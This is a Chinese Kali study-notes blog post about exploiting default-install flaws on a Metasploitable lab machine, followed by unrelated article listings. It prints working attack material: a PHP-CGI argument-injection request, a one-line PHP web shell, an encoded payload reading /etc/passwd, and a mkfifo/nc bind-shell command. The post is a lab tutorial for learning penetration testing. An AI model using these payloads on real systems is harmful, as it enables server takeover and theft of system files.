文章的格式也许不是很好看,也没有什么合理的顺序

完全是想到什么写一些什么,但各个方面都涵盖到了

能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道

默认安装漏洞:

早期Windows默认自动开启很多服务

很多的黑客就会利用这些漏洞轻易获取System权限

在Linux和Windows系统中都会有很多的默认安装漏洞

下面我就典型的案例来分析:

目标靶机Metasploitable的IP:192.168.163.129

Kali机器的IP:192.168.163.132

PHP部署的程序猿会知道:

phpMyAdmin专门用来管理MySQL数据库

如果粗心的程序猿就会忘记进行配置

于是我们可以访问到一些敏感的目录(早期版本):

例如phpMyAdmin/setup

如果程序猿不进行一些访问限制,那么很多的黑客就可以通过这种方式来进入,从而进行恶意的操作

只是说没有什么意思,下面我具体地来利用这个漏洞来测试:

我用Burp来重发请求,并且做一定的修改:

POST http://192.168.163.129/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1                 
Host: 192.168.163.129
<?php
passthru('id');
die();
?>

通过上边的一系列代码使目标机器执行操作系统的id命令

利用Burp的Repeater做到了,获取了UID

那么其他命令呢?比如ls

但是,我们如果发送一些管理员权限才可以使用的命令:比如reboot

这时候就不可以做了,因为我们获取的只是普通权限

那么,我们是否可以写文件呢?是否可以获取shell呢(其实这已经获取了shell)?

第一种上传网页木马

echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" >/var/www/2.php

服务器返回了OK

接下来我们访问:192.168.163.129/2.php?cmd=[命令],就得到shell了

然后就可以做提权了

第二种:使用Kali自带的一些脚本,直接获取shell:反连Shell

我把它复制出来,稍作修改就可以使用:

保存

然后把全篇内容作为Body用Repeater发送:

注意这里的HOST必须是Kali的IP

同时用nc监听:nc -vlp

发送后就获得了真正的Shell

注意:这里获取了shell,但是并没有在目标服务器上写入数据,只是反连接获取了一个shell

有一个小问题:获取了Shell,但是无法执行Ifconfig这个基本命令,需要怎么办?

whereis ifconfig搜索位置

进入目标目录,然后./ifconcig即可

Ubuntu/Debain默认安装PHP5-CGI漏洞

其针对Apache/PHP远程代码执行漏洞攻击

该漏洞存在于使用PHP的Apache服务器,在Debian和Ubuntu的服务器上默认安装php5-cgi模块的服务器都存在此漏洞。

程序员可以使用CGI模块在PHP代码中调用操作系统的命令

如果安装了PHP5-CGI,则会在/usr/lib/cgi-bin下面生成两个二进制文件:php和php5

下面我会利用这里的php远程执行代码

我们发送编码后的参数信息(编码是为了防止服务器过滤信息)去获取目标服务器的shell

POST
/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 123
Content-Length: 45 <?php
echo system('cat /etc/passwd');
?>

不过,遗憾的是,这里我失败了

成功的话,理论上可以参照上边的方式继续进行渗透

甚至可以直接写入指令,让目标系统直接开启某个端口,我用NC连接即可:

<?php
echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
?>

这一篇稍简短一些,后边我们继续

Kali学习笔记29:默认安装漏洞的更多相关文章

  1. PHP学习笔记----IIS7下安装配置php环境

    原文:PHP学习笔记----IIS7下安装配置php环境 Php如何安装 Php版本的选择 Php在windows下的(php5.4.7)有两种版本: VC9 x86 Non Thread Safe ...

  2. openresty 学习笔记一:环境安装

    openresty 学习笔记一:环境安装 openresty 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库.第三方模块以及大多数的依赖项.用于方便地搭 ...

  3. Kali学习笔记17:OpenVAS安装部署

    正式介绍OpenVAS之前先说一些题外话 1.有一个网站记录了很多的漏洞: https://www.exploit-db.com/ 可以下载利用 2.如果觉得从网上寻找太麻烦,Kali自带工具:sea ...

  4. Python3学习笔记01-环境安装和运行环境

    最近在学习Python3,想写一些自己的学习笔记.方便自己以后看,主要学习的资料来自菜鸟教程的Python3教程和廖雪峰官方网站的Python教程. 1.下载 1)打开https://www.pyth ...

  5. 树莓派学习笔记——apt方式安装opencv

    0.前言     本文介绍怎样在树莓派中通过apt方式安装opencv.并通过一个简单的样例说明怎样使用opencv. 相比于源码方式安装opencv,通过apt方式安装过程步骤简单些,消耗的时间也少 ...

  6. Git学习笔记--历史与安装(一)

    声明:今天起学习Git,第一篇学习笔记主要借鉴廖雪峰先生的个人博客,以及自己的实践所得. “本教程只会让你成为Git用户,不会让你成为Git专家”——引自廖雪峰博客. 一.Git简介 Git是目前世界 ...

  7. nodejs学习笔记一——nodejs安装

    a.nodejs安装 nodejs的安装没有什么说的默认安装即可.安装包官网下载即可:nodejs官网 本人用的是window的安装包node-v4.2.6-x64.msi 安装完成后打开命令行查看使 ...

  8. 学习笔记--Grunt、安装、图文详解

    学习笔记--Git安装.图文详解 安装Git成功后,现在安装Gruntjs,官网:http://gruntjs.com/ 一.安装node 参考node.js 安装.图文详解 (最新的node会自动安 ...

  9. 【Unity 3D】学习笔记29:游戏的例子——简单的小制作地图

    无论学习.只看不练是坏科学. 因此,要总结回想这怎么生产MMROPG小地图的游戏.于MMROPG游戏类,在游戏世界中行走时导致各地,通常在屏幕的右上角,将有一个区域,以显示当前的游戏场景微缩.在游戏世 ...

随机推荐

  1. bottle源码

    import sys __author__ = 'Marcel Hellkamp' __version__ = '0.13-dev' __license__ = 'MIT' ############# ...

  2. create-react-app创建项目并用git上传至GitHub及展示预览效果

    1.在本地中创建一个项目所在的文件夹 2.npm -g create-react-app 3.在此文件夹下 create-react-app react-demo (项目名) 4.cd react-d ...

  3. Mysql 数据库管理

    1. mysql用户和权限 mysql权限控制通过两步控制,第一是能不能连接(验证用户身份),第二是能执行什么操作(验证权限). 其中身份验证,需要验证连接mysql的计算机的IP地址或者计算机名称还 ...

  4. GUI学习之七——单选框QRadioButton和QButtonGroup的学习总结

    一.单选框QRadioButton的使用 1.类的描述 a.单选框按钮用于给用户提供若干选项中的单选操作,当一个被选中时,会自动取消选中的那个.(如果只有一个时可以通过单击该按钮改变其状态:而存在多个 ...

  5. OPENCV中特征提取和匹配的步骤

    1.定义特征提取器和描述子提取器: cv::Ptr<cv::FeatureDetector> detector; cv::Ptr<cv::DescriptorExtractor> ...

  6. 【信号与线性系统】为什么求解零输入响应时转移算子H(p)不能约分,但计算单位冲激响应时却可以约分?

    为什么求零输入响应rZI时转移算子H(p)不能约分? . . . 我们知道,求零输入响应rZI的实质其实是求解微分方程 D(p)r(t) = N(p)e(t) 的解.由于这里 e(t)=0 ,所以这是 ...

  7. SQLServer · 最佳实践 · 透明数据加密TDE在SQLServer的应用

    转:https://yq.aliyun.com/articles/42270 title: SQLServer · 最佳实践 · 透明数据加密TDE在SQLServer的应用 author: 石沫 背 ...

  8. selenium中maven的使用

    一.maven的下载.解压以及环境变量配置 1.下载maven: 官网下载地址:http://maven.apache.org/download.cgi 在Files下面下载对应的maven版本(官网 ...

  9. LOJ-10095(缩点的特殊使用)

    题目链接:传送门 思路: 缩点求最值,但是有一点行不通,如果被选中的点才能缩点,否则缩点没有意义: 所以就先缩选中的点,然后从小到大统计没有缩点的点,就是NO: 如果找最小值,就是一个环里的最小值,然 ...

  10. rem 是如何实现自适应布局的

    摘要:rem是相对于根元素<html>,这样就意味着,我们只需要在根元素确定一个px字号,则可以来算出元素的宽高.本文讲的是如何使用rem实现自适应.· rem这是个低调的css单位,近一 ...